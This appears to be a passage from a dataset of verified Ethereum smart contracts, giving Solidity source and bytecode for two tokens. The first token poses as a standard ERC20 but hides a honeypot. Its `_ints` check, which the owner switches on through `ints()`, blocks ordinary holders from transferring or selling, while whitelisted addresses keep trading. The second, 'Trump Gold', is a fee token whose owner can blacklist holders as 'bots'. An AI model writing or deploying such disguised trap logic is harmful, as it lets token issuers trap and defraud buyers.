uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _Erc20Token(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d24886b7a8b1ac3ac454cf11dbeec049a39cfb808feaeabe2c0aa9be94fd041364736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 812 |
0x29699c8485302cd2857043fab8bd885ba08cf268 | /**
*Submitted for verification at Etherscan.io on 2021-09-01
*/
/*
SOCIALS:
https://babytrumptoken.com/
https://t.me/BabyTrumpETH
https://twitter.com/BabyTrumpETH
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TrumpGold is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string public constant _name = "Trump Gold";
string public constant _symbol = "TGOLD";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 0;
uint256 private _teamFee = 4;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1 * 10**12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
